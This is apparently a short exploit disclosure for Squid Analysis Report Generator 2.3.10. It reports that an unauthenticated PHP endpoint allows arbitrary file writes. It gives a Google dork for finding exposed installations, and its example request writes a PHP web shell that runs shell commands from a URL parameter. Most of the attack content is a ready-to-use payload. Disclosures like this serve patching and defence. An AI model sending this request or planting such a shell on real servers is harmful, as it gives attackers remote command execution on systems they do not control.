Squid Analysis Report Generator 2.3.10 – Remote Code Execution
# Exploit Title: RCE/Arbitrary file write in Squid Analysis Report Generator (SARG) # Google Dork: inurl:sarg-php # Date: 01 September 2017 # Exploit Author: Pavel Suprunyuk # Vendor Homepage: https://sourceforge.net/projects/sarg/ # Software Link: https://sourceforge.net/projects/sarg/ # Version: Tested on 2.3.10, other versions are vulnerable too. # Tested on: PHP, any OS # CVE : None =================================== sarg-php/sarg-squidguard-block2.php does not require any authentication and allows to write an arbitrary file: sarg-php/sarg-squidguard-block2.php?file=<your_shell_name.php>&url=<your_php_shell_content> Exploit example: the following request http://vulnerable_site/sarg-php/sarg-squidguard-block2?file=shell.php&url=%3C%3Fphp%20if%20(isset($_GET%5B'cmd'%5D))%20echo%20shell_exec($_GET%5B'cmd'%5D)%3B%20%3F%3E will write the basic shell "<?php if (isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>" into the "shell.php" file |